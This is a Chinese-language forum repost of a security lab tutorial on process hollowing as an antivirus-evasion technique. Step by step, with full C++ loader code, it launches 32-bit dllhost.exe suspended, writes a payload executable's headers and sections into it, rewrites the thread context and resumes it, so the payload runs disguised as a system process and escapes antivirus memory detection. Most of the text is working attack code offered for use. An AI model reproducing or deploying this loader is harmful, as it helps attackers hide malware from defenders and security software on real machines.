0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

免杀技术进程隐藏

蛇矛实验室 来源:蛇矛实验室 作者:蛇矛实验室 2022-11-12 09:24 次阅读

1前言

目前的免杀技术,常规的进程执行很容易被受攻击方发现,为了尽可能的隐藏自己,在不利用驱动或者漏洞的情况下我们有用到的技术很少,这次我们就来讲一种可以在3环达到进程隐藏的方法,进程镂空(傀儡进程)。

这种技术虽然很久之前就有了,但是和其他的免杀技术相结合会达到很不错的效果。

这种技术的好处是可以将我们想执行的程序伪装成系统进程或者有签名无检测的白名单进程,从而绕过杀软的内存检测。

2实现思路

如何去实现这个傀儡进程,我们就要知道进程创建后的步骤是在干什么,进程创建后会在内存空间进行拉伸PE,那么这一步就是我们达到伪装的关键一步。如果我们将这一步拉伸的PE修改成我们自己的PE是不是拉伸的就是我们自己的程序,从而执行我们自己的程序。

3执行流程

创建一个挂起的进程

这里如果不是挂起状态,程序就执行起来了,那么我们就没有足够的时间去替换他要执行的PE了。

获取线程上下文

这里获取上下文的主要目的是作用于修改寄存器,在我们后续的操作后要去修改。

替换PE信息

将我们上面的实现思路里最重要的一步在挂起进程后去执行,这样进程还没执行完成我们可以完成替换。

修改线程上下文

修改寄存器让执行的内存发生改变,修改到我们替换的PE信息。让程序自身的去解析我们替换的PE结构。

恢复线程

恢复线程,让程序执行起来,完成我们的因此。

4实操顺序

写一个自己的程序 Demo.exe

#include

intmain(void)
{

MessageBoxA(nullptr, "我是一个demo程序", "信息:", MB_OK);

return0;
}

这就是一个很简单的程序,我们来编译执行一下。

2631566a-61bf-11ed-8abf-dac502259ad0.png

可以明显的看到这里有我们执行的程序进程信息,这样我们就很容易被发现。那么下面我就就要去看怎么去隐藏掉这个进程了。步骤会很多我会分步骤去写,让大家可以跟着步骤去完成这一效果。

加载器实现流程

创建进程

创建一个系统进程或者白名单进程再或者你想要让你的进程伪装的进程,这里我们以32位进程去演示,我们去C:WindowsSysWOW64这个目录下随便去找一个进程即可,这里我就选择dllhost.exe

这里我们在创建个项目去写另外的代码,demo程序就不要去改动了。

2676f602-61bf-11ed-8abf-dac502259ad0.png

load 右键属性 -> 配置属性 -> 链接器 -> 系统 -> 子系统 改为窗口 不然后面会报0xC0000142错误 (这里可以写完所有的代码再去操作 窗口程序不利于我们去输出信息)

#include
#include

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 获取 32位dllhost.exe路径
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打开进程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 挂起形式创建
{
return-1;
}

std::cout<< "process pid:" << pi.dwProcessId << std::endl;
  std::cin.get();
  
  // 结束进程(调试的时候方便一下 可以不写)
  TerminateProcess(pi.hProcess, -1);
  std::cout << "process exit!!!!!!!" << std::endl;
  std::cin.get();
  return 0;
}

2691dbb6-61bf-11ed-8abf-dac502259ad0.png

这里我们就已经以挂起的方式去创建了一个进程,怎么样去看我们的进程是否为挂起呢?我们任务管理器可以看到。

26ab8f34-61bf-11ed-8abf-dac502259ad0.png

读取我们需要真正执行的exe

#include
#include

#defineEXE_PATH R"(C:UsersadminDesktopcode傀儡进程Debugdemo.exe)"

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 获取 32位dllhost.exe路径
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打开进程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 挂起形式创建
{
return-1;
}

std::cout<< "process pid:" << pi.dwProcessId << std::endl;
  std::cin.get();

  // 打开文件
  HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
  {
    // 打开失败结束之前的进程
    TerminateProcess(pi.hProcess, 1);
    return -1;
  }

  // 获取文件的大小
  DWORD nSizeOfFile = GetFileSize(hFile, NULL);
  std::cout << "file size:" << nSizeOfFile << std::endl;

  // 申请内存保存Exe字节码
  char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // 把文件读取到我们申请的缓存区
  DWORD read;
  if (!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
  {
    TerminateProcess(pi.hProcess, 1);
    return -1;
  }

  // 关闭文件
  CloseHandle(hFile);


  
  // 结束进程(调试的时候方便一下 可以不写)
  TerminateProcess(pi.hProcess, -1);
  std::cout << "process exit!!!!!!!" << std::endl;
  std::cin.get();
  return 0;
}

26f836d6-61bf-11ed-8abf-dac502259ad0.png

可以看出来我们需要执行的exe已经被我们加载到我们内存当中。

替换PE

#include
#include
#include

#defineEXE_PATH R"(C:UsersadminDesktopcode傀儡进程Debugdemo.exe)"

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 获取 32位dllhost.exe路径
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打开进程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 挂起形式创建
{
return-1;
}

std::cout<< "process pid:" << pi.dwProcessId << std::endl;
  std::cin.get();

  // 打开文件
  HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
  {
    // 打开失败结束之前的进程
    TerminateProcess(pi.hProcess, 1);
    return -1;
  }

  // 获取文件的大小
  DWORD nSizeOfFile = GetFileSize(hFile, NULL);
  std::cout << "file size:" << nSizeOfFile << std::endl;

  // 申请内存保存Exe字节码
  char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // 把文件读取到我们申请的缓存区
  DWORD read;
  if (!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
  {
    TerminateProcess(pi.hProcess, 1);
    return -1;
  }

  // 关闭文件
  CloseHandle(hFile);

  // 解析PE
  // 获取dos头
  PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image;
  if (dos->e_magic != IMAGE_DOS_SIGNATURE) // 判断是否为MZ
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 获取nt头
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew);

// 获取线程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

// 获取模块基质
ULONG_PTR base;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL);

// 在默认基质下申请内存并且 设置属性为读写执行
LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(!mem)
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 替换PE头
WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL);

for(inti = 0; i < nt->FileHeader.NumberOfSections; i++)
{
// 获取节表 写入节表
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL);
}

// 结束进程(调试的时候方便一下 可以不写)
TerminateProcess(pi.hProcess, -1);
std::cout<< "process exit!!!!!!!" << std::endl;
  std::cin.get();
  return 0;
}

2721ebde-61bf-11ed-8abf-dac502259ad0.png

GetThreadContext是什么意思呢?获取线程上下文,我们这时候用调试器附加一下dllhost看下我们获取的是什么东西。主要获取的就是目前的寄存器的值。后续我们需要读写这个值,从而达到执行我们自己的PE信息。

2756be7c-61bf-11ed-8abf-dac502259ad0.png

278b9b24-61bf-11ed-8abf-dac502259ad0.png

开始替换PE头 我们可以注意一下写入了什么。

27af76de-61bf-11ed-8abf-dac502259ad0.png

28026df8-61bf-11ed-8abf-dac502259ad0.png

这里是替换节区。

28263ee0-61bf-11ed-8abf-dac502259ad0.png

2840ac9e-61bf-11ed-8abf-dac502259ad0.png

走到这里就说明我们的PE已经被完全替换了,那么我们需要给他替换一下寄存器才能让他执行起来。

设置线程上下文,恢复线程

2858eec6-61bf-11ed-8abf-dac502259ad0.png

ebx+8的位置本身存放的是原来默认的PE,我们这里给他替换成我们申请内存的PE,然后恢复线程基本就完成了我们的隐藏。

#include
#include
#include

#defineEXE_PATH R"(C:UsersadminDesktopcode傀儡进程Debugdemo.exe)"

//int CALLBACK WinMain(
// HINSTANCE hInstance,
// HINSTANCE hPrevInstance,
// LPSTR lpCmdLine,
// int nCmdShow
//)
intmain(void)
{
// 获取 32位dllhost.exe路径
charpickerHostPath[MAX_PATH] = { 0};
ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH);

// 打开进程
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = { 0};
if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 挂起形式创建
{
return-1;
}

std::cout<< "process pid:" << pi.dwProcessId << std::endl;
  std::cin.get();

  // 打开文件
  HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
  {
    // 打开失败结束之前的进程
    TerminateProcess(pi.hProcess, 1);
    return -1;
  }

  // 获取文件的大小
  DWORD nSizeOfFile = GetFileSize(hFile, NULL);
  std::cout << "file size:" << nSizeOfFile << std::endl;

  // 申请内存保存Exe字节码
  char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // 把文件读取到我们申请的缓存区
  DWORD read;
  if (!ReadFile(hFile, image, nSizeOfFile, &read, NULL))
  {
    TerminateProcess(pi.hProcess, 1);
    return -1;
  }

  // 关闭文件
  CloseHandle(hFile);

  // 解析PE
  // 获取dos头
  PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image;
  if (dos->e_magic != IMAGE_DOS_SIGNATURE) // 判断是否为MZ
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 获取nt头
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew);

// 获取线程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

// 获取模块基质
ULONG_PTR base;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL);

// 在默认基质下申请内存并且 设置属性为读写执行
LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(!mem)
{
TerminateProcess(pi.hProcess, 1);
return1;
}

// 替换PE头
WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL);

for(inti = 0; i < nt->FileHeader.NumberOfSections; i++)
{
// 获取节表 写入节表
PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL);
}

// 修改寄存器
ctx.Eax = (SIZE_T)((LPBYTE)mem + nt->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &nt->OptionalHeader.ImageBase, sizeof(PVOID), NULL);

SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, -1);

std::cout<< "进程隐藏执行完成" << std::endl;
  
  // 结束进程(调试的时候方便一下 可以不写)
  // TerminateProcess(pi.hProcess, -1);
  // std::cout << "process exit!!!!!!!" << std::endl;
  // std::cin.get();
  return 0;
}

修复执行错误

2890fa46-61bf-11ed-8abf-dac502259ad0.png

这里我们可以看到提示了错误框,我们修改下子系统。

intCALLBACKWinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
intnCmdShow
)
子系统改为窗口后 main函数需要改成WinMain

28ae66bc-61bf-11ed-8abf-dac502259ad0.png

完毕

28ee8cba-61bf-11ed-8abf-dac502259ad0.png

可以看到我们进程运行起来了,那么我们看看这个进程是什么。

291063ee-61bf-11ed-8abf-dac502259ad0.png

从线程里面可以看出,我们是从这个dllhost里面去执行的我们的程序,那么我们看下是不是找不到我们原来的进程了。

29630266-61bf-11ed-8abf-dac502259ad0.png

可以看到这里已经确定没有demo.exe,至此我们的隐藏进程实现完成。

5总结

隐藏的时候需要提前找到一个载体。

我们目前通过的是读取文件获取我们demo的exe,可以提前获取好,放到我们的内存中,这样更隐蔽。

需要注意main函数和winmain,main函数会报错

审核编辑:汤梓红
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 内存
    +关注

    关注

    8

    文章

    2962

    浏览量

    73803
  • 程序
    +关注

    关注

    116

    文章

    3754

    浏览量

    80738

原文标题:免杀技术进程隐藏

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    进程执法官

    ,包括系统核心进程、杀毒不需要进入安全模式。 2、可以查看普通进程(与任务管理器类似)、网络进程(TCP-UDP端口关联进程)、隐藏进程
    发表于 09-04 23:12

    ekrn.exe进程是什么意思,如何解决ekrn.exe进程占空间的问题

    %原因分析1、ekrn.exe占用cpu100%问题属于该杀毒 软件在查杀系统进程时的正常现象,因为svchost.exe不断重启运行导致,这个是win系统bug,与软件无关,所以不用更改软任何设置
    发表于 12-22 16:42

    迅雷7.2.7.3496下载(迅雷7增强版VIP离线等待V2) v7.2.7.3496绿...

    会员补丁(可去广告、隐藏右侧栏、点亮VIP6、离线等待) │ ├—√迅雷离线下载组件(迅雷等级16级及其以上等级有1.5G离线空间) │ ├—除去主界面上的迅雷VIP按钮 (主界面上红色的迅雷VIP
    发表于 04-24 17:45

    小七论坛vip 2013源码培训课程

    小七论坛vip 2013源码培训课程目录(今日key发布)小七
    发表于 10-05 17:35

    联通流量软件有哪些?联通流量软件?

    联通手机流量上网软件有哪些?联通2G3G4G流量软件加我***联通最新流量上网软件,支持全国地区使用,一年稳定技术开发并且经过测试,安装后上网百分百
    发表于 07-22 08:37

    国际联网展现黑科技-雷霆技术携三技术参展

    ,由雷霆技术公司带来的不用电池、无需联网、无需钥匙的智能锁黑科技——三智能锁方案。在本次展会中为数不多的,创新型技术中,三智能锁技术吸引
    发表于 08-07 15:07

    特洛伊木马隐藏技术研究

    首先介绍了传统的木马隐藏方法,由于传统方法主要集中于本地进程隐藏,对木马两端之间通信隐藏涉及甚少,而本文所采用的基于ICMP的连接技术能够
    发表于 06-15 08:33 11次下载

    木马/后门程序在WINNT中进程隐藏和查找的方法

      在WIN9X中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WINNT中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能欺骗WINN
    发表于 09-01 11:51 1106次阅读

    基于硬件辅助虚拟化技术的交叉视图进程检测

    分析了进程隐藏技术和检测技术,对Strider Ghost Buster所使用的交叉视图进程检测技术
    发表于 02-13 16:17 32次下载
    基于硬件辅助虚拟化<b class='flag-5'>技术</b>的交叉视图<b class='flag-5'>进程</b>检测

    软WAF上传绕过+wbehshell

    软WAF上传绕过+wbehshell
    发表于 09-07 10:35 4次下载
    软WAF上传绕过+wbehshell<b class='flag-5'>免</b><b class='flag-5'>杀</b>

    密文域可逆信息隐藏技术发展

    可逆信息隐藏是信息隐藏技术的新兴研究方向,密文域可逆信息隐藏作为加密域信号处理技术与信息隐藏
    发表于 12-09 10:28 0次下载
    密文域可逆信息<b class='flag-5'>隐藏</b><b class='flag-5'>技术</b>发展

    如何安装 unhide 并搜索隐藏进程和 TCP/UDP 端口

    unhide 是一个小巧的网络取证工具,能够发现那些借助 rootkit、LKM 及其它技术隐藏进程和 TCP/UDP 端口。这个工具在 Linux、UNIX 类、MS-Windows 等操作系统下都可以工作。
    的头像 发表于 01-31 09:57 2.7w次阅读

    一行代码教你如何隐藏Linux进程

    总有朋友问隐藏Linux进程的方法,我说你想隐藏到什么程度,是大隐于内核,还是小隐于用户。网上通篇论述的无外乎 hook 掉 procfs 或者类似的用户态方案,也都难免长篇大论,我说,这些场面都太大了,太复杂了。对于希望马上看
    的头像 发表于 09-15 15:16 2202次阅读
    一行代码教你如何<b class='flag-5'>隐藏</b>Linux<b class='flag-5'>进程</b>

    技术技术的区别

    ,又叫杀毒技术,是反病毒,反间谍的对立面,是一种能使病毒或木马免于被杀毒软件查杀的软件。
    的头像 发表于 07-08 10:49 1467次阅读

    什么是白加黑技术 技术之白加黑攻击防御技术分析

    在很多的软中会对白文件的操作进行放行,如果我们将黑程序和白程序在一个进程中是否就可以绕过一些软的检测。
    发表于 07-24 10:37 1455次阅读
    什么是白加黑<b class='flag-5'>技术</b> <b class='flag-5'>免</b><b class='flag-5'>杀</b><b class='flag-5'>技术</b>之白加黑攻击防御<b class='flag-5'>技术</b>分析